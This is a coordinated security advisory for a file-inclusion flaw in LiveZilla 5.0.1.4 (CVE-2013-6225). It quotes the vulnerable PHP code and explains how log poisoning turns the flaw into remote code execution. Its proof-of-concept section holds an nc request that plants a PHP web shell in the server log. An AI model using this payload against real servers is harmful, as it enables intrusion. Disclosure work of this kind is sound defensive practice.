Cure-2013-1007: Security Advisory - Curesec Research Team

1. Introduction

Advisory ID:	Cure-2013-1007
Advisory URL:	https://www.curesec.com/de/veroeffentlichungen/advisories.html
Affected Product:	LiveZilla version 5.0.1.4
Affected Systems	Linux/Windows
Fixed in:	5.1.0.0
Fixed Version Link:	https://www.livezilla.net/downloads/pubfiles/LiveZilla_5.1.0.0_Full.exe
Vendor Contact:	support@livezilla.net
Vulnerability Type:	Remote Code Execution / Local File Inclusion
Remote Exploitable:	Yes
Reported to vendor	18.10.2013
Disclosed to public	15.11.2013
Release mode:	Coordinated release
CVE:	CVE-2013-6225
Credentials:	crt@curesec.com

2. Vulnerability Description

Inside the file 'mobile/php/translation/index.php' the following code can be found:

```
$langFileLocation = '.';
$LZLANG = Array();if (isset($_GET['g_language'])) {
$language = ($_GET['g_language'] != '') ? $_GET['g_language'] : 'ein';
require ($langFileLocation . '/langmobileorig.php');
$LZLANGEN = $LZLANG;
if (file_exists($langFileLocation . '/langmobile' . $language . '.php')) {
require ($langFileLocation . '/langmobile' . $language . '.php');     <--- eeeek it is a bug
}
```

The 'g_language' GET parameter is not validated before using it in a php require function call. This allows to include files that are stored on a windows server. It is, in this case, not possible to include files, if the php application is running on a linux server because '/langmobile'+ the language is not a directory and therefore cannot be traversed. In recent PHP versions null bytes are blocked. This means that in this case only files with the PHP extension can be included. Older PHP versions will allow null bytes in the URL and therefore allow Remote Code Execution attacks involving httpd log files or /proc/pid/environ and other techniques to transform this Local File Inclusion into a full Remote Code Execution on Windows and Linux.

On Windows systems with PHP versions installed that allow null bytes in the URL it is possible to turn this local file inclusion vulnerability to a full remote code execution vulnerability. This can be done by traversing directories and accessing the apache log file with having the injected the string that follows using a GET request into the log file. As the screendump shows full code execution in this case executing calc.exe on windows is possible.

A working exploit for this vulnerability is found in the Appendix of this documents. The error.log or access.log path has to be known prior to running the exploit.

3. Proof of Concept Codes:

Code execution URL sample:

```
$nc <target> 80
GET /index.php?test=<?php system($_GET[cmd]); ?> HTTP/1.1
Host: <target>
<return>
<return>
```

4. Solution

Download and install latest version:

https://www.livezilla.net/downloads/pubfiles/LiveZilla_5.1.0.0_Full.exe

5. Report Timeline

18.10.2013	Informed vendor about issue
12.11.2013	Vendor informed about the new version
15.11.2013	Disclosed to public